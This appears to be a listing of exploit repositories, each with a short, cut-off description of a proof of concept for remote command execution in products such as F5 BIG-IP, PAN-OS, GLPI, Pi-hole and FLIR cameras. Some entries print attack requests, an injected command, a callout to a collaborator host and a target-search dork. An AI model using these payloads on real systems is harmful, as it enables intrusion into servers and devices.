Test IT testing system Command Execution

The vulnerability of the Test IT testing system relates to the use of externally controlled input data for class selection. Exploiting this vulnerability allows a malicious actor to execute arbitrary commands remotely...

Platypus.js Auth Bypass Command Execution

The vulnerability of the Platypus.js platform is related to deficiencies in the authentication process. Exploiting this vulnerability allows a remote attacker to execute arbitrary commands...

Jmeter-CVE-2018-1297-

Jmeter RMI Deserialization Command Execution Vulnerability CVE-2018-1297 Apache JMeter is an open-source software suite written in Java by the American Apache Software Foundation for stress testing and performance testing. Versions 2.x and 3.x contain a deserialization vulnerability that allows a...

CVE-2015-3224

CVE-2015-3224 Ruby-On-Rails Web Console RCE What is this? This is a metasploit module for Metasploit. I already have this module. Yes, this is packaged into metasploit. But with that module you can't get arbitrary command execution. I mean, you can only establish reverse/bind shell payloads with...

Rust_CVE-2025-55182

CVE-2025-55182 Exploit Tool Rust Version Project Overview This project is a security research tool developed in Rust, targeting the Remote Code Execution RCE vulnerability present in [email protected]. The vulnerability allows an attacker to execute arbitrary code on a target server without...

CVE-2022-35914-poc

CVE-2022-35914 PoC References https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr Usage pip install -r requirements.txt ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GLPI - Command injection using ...

CVE-2020-8816

CVE 2020-8816 : Pi-hole versions = 4.3.2 is affected by a Remote Code Execution vulnerability. An authenticated user of the Web portal can execute arbitrary command with the underlying server with the privileges of the local user executing the service. EXAMPLE : go run CVE-2020-8816.go -host $LHO...

cachegrab

Cachegrab Cachegrab is a tool designed to help perform and visualize trace-driven cache attacks against software in the secure world of TrustZone-enabled ARMv8 cores. For an overview of how Cachegrab works under the hood, see the Cachegrab release announcement. Using Cachegrab on Android It is...

nagios-xi-5.7.5-bugs

nagios-xi-5.7.5-bugs Bugs reported to Nagios XI CVE-2021-25296 Code Location /usr/local/nagiosxi/html/includes/configwizards/windowswmi/windowswmi.inc.php Code snippet if !empty$pluginoutputlen $diskwmicommand .= " --forcetruncateoutput " . $pluginoutputlen; $servicewmicommand .= "...

CVE-2023-50094_POC

reNgine 2.2.0 - Command Injection - CVE-2023-50094 Description This Python script exploits an authenticated command injection vulnerability in reNgine 2.2.0. The exploit targets the nmapcmd parameter in the Scan Engine configuration, allowing attackers to execute arbitrary commands. Features...

CVE-2024-29269

CVE-2024-29269 Which allows unauthenticated OS command execution on TLR-2005KSH routers. This exploit leverages the vulnerability to execute arbitrary commands on the affected routers. Dork ZoomEye :- title:"Login to TLR-2005KSH" Source:...

CVE-2020-11107

CVE-2020-11107 This is a writeup for CVE-2020-11107 I've found. An issue was discovered in XAMPP before 7.2.29, 7.3.x before 7.3.16 , and 7.4.x before 7.4.4 on Windows. An unprivileged user can change a .exe configuration in xampp-contol.ini for all users including admins to enable arbitrary...

CVE-2025-53547-POC

CVE-2025-53547 POC this is a poc for CVE-2025-53547 Chart.lock links test file to /tmp/1.txt /tmp/1.txt inject a command that create /tmp/2.txt In real product enviroment, you can change Chart.lock link file to inject any command you want such as: /root/.bashrc /root/.bashprofile /etc/profile...

CVE-2024-24576-PoC---Nim

Exploring Command Injection Vulnerabilities in Windows with Nim https://foxoman.hashnode.dev/exploring-command-injection-vulnerabilities-in-windows-with-nim?showSharer=true Here's a summarized table based on the testing results from the Nim code experiments with different payloads: Payload|...

CVE-2022-1292

CVE-2022-1292 Description The crehash script does not properly sanitise shell metacharacters to prevent command injection. This script is distributed by some operating systems in a manner where it is automatically executed. On such operating systems, an attacker could execute arbitrary commands...

coldfusion-amf

coldfusion-amf Coldfusion AMF PWN pwn http://localhost "nslookup burpcollab.net"...

CVE-2024-48762

CVE-2024-48762 Description Command injection vulnerability in /usr/www/application/models/settingscamera.php in FLIR AX8 up to 1.46.16 allows attackers to run arbitrary commands via the value parameter. POC GET /settings/applyfirmware/;idtest123.txt;/false HTTP/1.1 Host: XXXX Response HTTP/1.1 20...

CVE-2024-9474

Palo Alto PAN-OS Exploit PoC - CVE-2024-0012 & CVE-2024-9474 This script is a Proof of Concept PoC exploit for vulnerabilities found in Palo Alto PAN-OS CVE-2024-0012 & CVE-2024-9474. The script can be used to either scan a list of URLs for the vulnerability or exploit a single vulnerable URL...

CVE-2026-23744-POC

CVE-2026-23744 — MCP Server Unauthenticated RCE Proof-of-Concept exploit byd3vn0mi Overview CVE-2026-23744 is an unauthenticated Remote Code Execution RCE vulnerability in MCP-compatible servers exposed on port 6274. The /api/mcp/connect endpoint accepts a serverConfig object that allows callers ...

CVE-2022-1388-Exploit-POC

CVE-2022-1388 EXPLOIT POC F5 BIG IP POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive,X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: SherlockSecure Content-Type: application/json Authorization: Basic YWRtaW46aG9yaXpvbjM= "command":"run",...